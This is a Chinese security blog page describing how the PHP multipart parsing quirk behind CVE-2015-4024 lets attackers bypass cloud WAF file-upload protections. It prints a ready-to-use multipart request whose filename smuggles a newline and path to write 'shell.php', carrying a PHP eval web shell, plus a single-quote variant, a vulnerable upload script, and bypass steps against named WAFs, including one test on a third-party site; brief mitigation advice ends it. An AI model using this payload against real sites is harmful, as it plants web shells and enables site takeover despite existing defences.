<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Cache-Control" content="no-siteapp">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=1, minimum-scale=1, maximum-scale=1">
<meta name="renderer" content="webkit">
<meta name="google" value="notranslate">
<meta name="robots" content="index,follow">


<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Akkuman">
<meta name="twitter:description" content="Akkuman的技术博客">
<meta name="twitter:image:src" content="http://127.0.0.1:8000/images/avatar.png">

<meta property="og:url" content="http://127.0.0.1:8000">
<meta property="og:title" content="Akkuman">
<meta property="og:description" content="Akkuman的技术博客">
<meta property="og:site_name" content="Akkuman">
<meta property="og:image" content="http://127.0.0.1:8000/images/avatar.png">
<meta property="og:type" content="website">
<meta name="robots" content="noodp">

<meta itemprop="name" content="Akkuman">
<meta itemprop="description" content="Akkuman的技术博客">
<meta itemprop="image" content="http://127.0.0.1:8000/images/avatar.png">

<link rel="canonical" href="http://127.0.0.1:8000">

<link rel="shortcut icon" href="/favicon.png">
<link rel="apple-itouch-icon" href="/favicon.png">

<link type="text/css" rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/prism.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/zoom.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/main.css">
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>



<script>var cPlayers = [];var cPlayerOptions = [];</script>


<script type="text/javascript">
    var timeSinceLang = {
        year: '年前',
        month: '个月前',
        day: '天前',
        hour: '小时前',
        minute: '分钟前',
        second: '秒前'
    };
    var root = '';
</script>


        <meta name="keywords" content="Hacker,">
        <meta name="description" content="PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed">
        <meta name="author" content="Akkuman">
        <title>PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed</title>
    </head>
    <body>
        
        <header id="header" class="clearfix">
  <div class="container-fluid">
      <div class="row">
          <div class="logo">
              <div class="header-logo">
                <script>
                  var getwbclass = function() {
                    var wbclass = ['b', 'w'];
                    return wbclass[Math.floor(Math.random()*wbclass.length)];
                  }
                  var sitetitle = "Akkuman";
                  for (i in sitetitle) {
                    document.write('<a href="/"><span class="' + getwbclass() + ' titlechar">' + sitetitle.charAt(i) + '</span></a>');
                  }          
                  
                </script>
                
                <a id="btn-menu" href="javascript:isMenu();">
                    <span class="b">·</span>
                </a>
                <a href="javascript:isMenu1();">
                    <span id="menu-1" class="bf">1</span>
                </a>
                <a href="javascript:isMenu2();">
                    <span id="menu-2" class="bf">2</span>
                </a>
                <a href="javascript:isMenu3();">
                    <span id="menu-3" class="bf">3</span>
                </a>
              </div>
              <div id="menu-page">
                <a href="/archive.html"><li>归档</li></a>
                <a href="/tag.html"><li>标签</li></a>
                
                <a href="/atom.xml"><li>订阅</li></a>
                
                <a href="about.html"><li>关于</li></a>
              </div>
              <div id="search-box">
                  <div id="search">
                      <input autocomplete="off" type="text" name="s" id="menu-search" placeholder="搜索..." data-root="" />
                  </div>
              </div>
          </div>
      </div>
  </div>
  </header>
        <div id="body" class="clearfix">
            <div class="container-fluid">
                <div class="row">
                    <div id="main" class="col-12 clearfix" role="main">
                        <article class="posti" itemscope itemtype="http://schema.org/BlogPosting">
                            <h1 class="post-title" itemprop="name headline">PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed</h1>
                            <div class="post-meta">
                                <p>
                                    Written by <a itemprop="name" href="/about.me.html" rel="author">Akkuman</a> with ♥ on <time datetime="1474694439" itemprop="datePublished"></time> in <a href="/tag/Hacker/index.html">Hacker </a>
                                </p>
                            </div>
                            <div class="post-content" itemprop="articleBody">
                                <h1>1.     背景介绍</h1>

<p>今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，<a href="https://bugs.php.net/bug.php?id=69364">https://bugs.php.net/bug.php?id=69364</a>。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值，其中之一，就是绕过当前各种云WAF的文件上传防御策略。</p>

<p>目前国内外流行的云WAF厂商有如百度云加速，360网站卫士，加速乐，云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点，我们成功利用该漏洞绕过了当前主流WAF的文件上传防御，例如百度云加速、360网站卫士、知道创于加速乐、安全狗。</p>

<p>接下来，我们以PHP为例，详细解析我们的绕过方法。</p>

<h1>2.     绕过WAF的原理</h1>

<p>根据PHP DOS漏洞原理，在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符&rsquo;:&lsquo;，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块，从而导致DOS。</p>

<pre><code class="language-php">prev_len= strlen(prev_entry.value);

cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存

memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝

memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝

entry.value[cur_len+ prev_len] = '\0';

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);//1次内存释放
</code></pre>

<p>而PHP官方修复方案，在进行合并时，避免重复拷贝，从而避免DOS。绕过WAF的关键在于，PHP multipart_buffer_headers函数解析header对应value时，value值存在多行。每行的字符串以空白符开头或不存字符&rsquo;:&lsquo;，将进行合并。而WAF在解析文件上传的文件名时，没有考虑协议兼容，不进行多行合并，就可以被绕过。</p>

<p>根据原理构造绕过WAF文件上传防御的payload，WAF解析到的文件名为”test3.jpg”，而PHP解析到的文件名是”test3.jpg\nf/shell.php”，因为”/”是目录分隔符，上传的文件名变为shell.php。以下是绕过paylaod、测试脚本、paylaod进行文件上传的效果图。</p>

<h2>WAF绕过payload:</h2>

<pre><code>------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

&lt;?php eval($_GET['c'])?&gt;

------WebKitFormBoundaryx7V4AhipWn8ig52y

</code></pre>

<h2>文件上传功能测试脚本:</h2>

<pre><code class="language-php">&lt;?php

         $name = $_FILES['file']['name'];

        echo $name;

        echo &quot;\n&quot;;

        move_uploaded_file($_FILES['file']['tmp_name'] , '/usr/local/nginx/html/upload/'.$_FILES['file']['name']);

        echo &quot;upload success! &quot;.$_FILES['file']['name'];

        echo &quot;\n&quot;;

        echo strlen($_FILES['file']['name']);

?&gt;

</code></pre>

<p>Payload能够正常上传</p>

<p><img src="" data-src="http://7xusrl.com1.z0.glb.clouddn.com/005K4Knkgw1f6apwul8mrj30r50fptbm.jpg" alt="1" /></p>

<h1>3.     绕过WAF实战</h1>

<p>笔者通过搭建自己的测试站，接入360网站卫士和加速乐，验证绕过WAF文件上传防御的方法。</p>

<h2>3.1 绕过360网站卫士</h2>

<h3>步骤1，验证网站已被360网站卫士防御，拦截了直接上传PHP文件的请求。</h3>

<p><img src="" data-src="http://7xusrl.com1.z0.glb.clouddn.com/005K4Knkgw1f6apy2esg5j311v0ifdjx.jpg" alt="2" /></p>

<h3>步骤2：成功绕过360网站卫士，上传shell成功，文件是apo.php。在该请求中，有没有Content-Type不影响绕过。</h3>

<p><img src="" data-src="http://7xusrl.com1.z0.glb.clouddn.com/005K4Knkgw1f6apztziwvj30vm0g9af6.jpg" alt="3" /></p>

<h2>3.2 绕过知道创宇加速乐</h2>

<h3>步骤一：验证网站被加速乐保护，拦截了直接上传PHP文件的请求。</h3>

<p><img src="" data-src="http://7xusrl.com1.z0.glb.clouddn.com/005K4Knkgw1f6aq0sw1luj30wb0f9wjf.jpg" alt="4" /></p>

<h3>步骤二：成功绕过加速乐，上传shell，文件是syt.php。</h3>

<p><img src="" data-src="http://7xusrl.com1.z0.glb.clouddn.com/005K4Knkgw1f6aq1mvbrqj30vr0elwh2.jpg" alt="5" /></p>

<h2>3.3. 绕过百度云加速</h2>

<p>百度云加速与CloudFlare，从百度匀加速拦截页面可以看出使用的是CloudFlare. 但是估计有本地化，百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己的测试环境，找了个接入了百度云加速的站进行测试。</p>

<h3>步骤一：验证网站被百度云加速保护，拦截了直接上传PHP文件的请求。</h3>

<p><img src="" data-src="http://7xusrl.com1.z0.glb.clouddn.com/005K4Knkgw1f6aq30m0wjj31050etdko.jpg" alt="6" /></p>

<h3>步骤二：成功绕过云加速</h3>

<p>同上</p>

<h1>4.     扩展—更多的工作</h1>

<h2>4.1 分析filename其他字符的绕过</h2>

<p>同理，我们发现除了双引号外，使用单引号也能绕过WAF的防御，并实现文件上传。</p>

<pre><code>------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name=&quot;file&quot;; filename='test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

&lt;?php eval($_GET['c'])?&gt;

------WebKitFormBoundaryx7V4AhipWn8ig52y
</code></pre>

<h2>4.2 分析其他应用脚本语言</h2>

<p>我们也发现jsp解析也有自己的特点，同时可被用于绕过WAF。暂时未测试asp,aspx,python等常用的WEB应用脚本语言。</p>

<h1>5.     修复方案</h1>

<h2>5.1 修复方案一</h2>

<p>解析文件上传请求时，如果发现请求不符合协议规范，则拒绝请求。可能会产生误拦截，需要评估误拦截的影响范围。</p>

<h2>5.2 修复方案二</h2>

<p>兼容php的文件解析方式，解析文件名时，以单引号或双引号开头，并且对应的单引号双引号闭合。</p>

<h1>6.     总结</h1>

<p>本文通过Review PHP远程dos漏洞(CVE-2015-4024)，并利用该特性绕过现有WAF的文件上传防御，成功上传shell。 更重要的价值，提供给我们一个绕过WAF的新思路，一种研究新方向：利用后端应用脚本与WAF行为的差异绕过WAF的防御。总的来说，一款优秀的WAF应该能够处理兼容WEB应用容器、标准协议、web服务器这间的差异。</p>

                            </div>
                            <div style="display:block;" class="clearfix">
                                <section style="float:left;">
                                    <span itemprop="keywords" class="tags">
                                        tag(s): <a href="/tag/Hacker/index.html">Hacker </a>
                                    </span>
                                </section>
                                <section style="float:right;">
                                    <span><a id="btn-comments" href="javascript:isComments();">show comments</a></span> · <span><a href="javascript:goBack();">back</a></span> · 
                                    <span><a href="/">home</a></span>
                                </section>
                            </div>
                            



<div id="comments" class="gen">
    <script>
        document.write('<section id="disqus_thread"></section>');
        var site_comment_load = function disqus() {
            var d = document, s = d.createElement('script');
            s.src = '//Akkum4n.disqus.com/embed.js';
            s.setAttribute('data-timestamp', +new Date());
            (d.head || d.body).appendChild(s);
        }
    </script>
</div>

                        </article>
                    </div>
                </div>
            </div>
        </div>
        <footer id="footer" role="contentinfo">
    <div class="container-fluid">
        <div class="row">
        <div class="col-12">
            &copy; 
            <script type="text/javascript">
                document.write(new Date().getFullYear());
            </script>
            <a href="/">Akkuman</a>.
            Using <a target="_blank" href="http://www.chole.io/">Ink</a> & <a target="_blank" href="/">Story</a>.
        </div>
        </div>
    </div>
</footer>

<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script src="/bundle/js/prism.js"></script>
<script src="/bundle/js/zoom-vanilla.min.js"></script>
<script src="/bundle/js/main.js"></script>

<script>
    window.onload=function(){
        if (window.location.hash!='') {
          var i=window.location.hash.indexOf('#comment');
          var ii=window.location.hash.indexOf('#respond-post');
          if (i != '-1' || ii != '-1') {
            document.getElementById('btn-comments').innerText='hide comments';
            document.getElementById('comments').style.display='block';
          }
        }
    }

    function isMenu(){
        if(document.getElementById('menu-1').style.display=='inline'||document.getElementById('menu-1').style.display=='block'){
            $('#search-box').fadeOut(200);
            $('#menu-page').fadeOut(200);
            $('#menu-1').fadeOut(500);
            $('#menu-2').fadeOut(400);
            $('#menu-3').fadeOut(300);
        } else {
            $('#menu-1').fadeIn(150);
            $('#menu-2').fadeIn(150);
            $('#menu-3').fadeIn(150);
        }
    }

    function isMenu1(){
        if(document.getElementById('menu-page').style.display=='block'){
            $('#menu-page').fadeOut(300);
        } else {
            $('#menu-page').fadeIn(300);
        }
    }

    function isMenu2(){
        if(document.getElementById('torTree')){
            if(document.getElementById('torTree').style.display=='block'){
                $('#torTree').fadeOut(300);
            } else {
                $('#torTree').fadeIn(300);
            }
        }
    }

    function isMenu3(){
        if(document.getElementById('search-box').style.display=='block'){
            $('#search-box').fadeOut(300);
        } else {
            $('#search-box').fadeIn(300);
        }
    }

    function isComments(){
        if(document.getElementById('btn-comments').innerText=='show comments'){
            document.getElementById('btn-comments').innerText='hide comments';
            document.getElementById('comments').style.display='block';
            site_comment_load();
        } else {
            document.getElementById('btn-comments').innerText='show comments';
            document.getElementById('comments').style.display='none';
        }
    }

    function Search404(){
        $('#menu-1').fadeIn(150);
        $('#menu-2').fadeIn(150);
        $('#menu-3').fadeIn(150);
        $('#search-box').fadeIn(300);
    }

    function goBack(){
        window.history.back();
    }
</script>


<script async>
"use strict";
(function(){
var cp = function(){
    var len = cPlayerOptions.length;
    for(var i=0;i<len;i++){
        var element = document.getElementById('player' + cPlayerOptions[i]['id'])
        while (element.hasChildNodes()) {
            element.removeChild(element.firstChild);
        };
        cPlayers[i] = new cPlayer({
            element: element,
            list: cPlayerOptions[i]['list'],
            });
    };
    cPlayers = [];cPlayerOptions = [];
};
var script = document.createElement('script');
script.type = "text/javascript";
script.src = "https://cdn.bootcss.com/cplayer/3.2.1/cplayer.js";
script.async = true;
if(script.readyState){  
    script.onreadystatechange = function(){
        if (script.readyState == "loaded" ||
            script.readyState == "complete"){
            script.onreadystatechange = null;
            cp();
        }
    };
}else{  
    script.onload = function(){
        cp();
    };
}
document.head.appendChild(script);
})();
</script>

    </body>
</html>
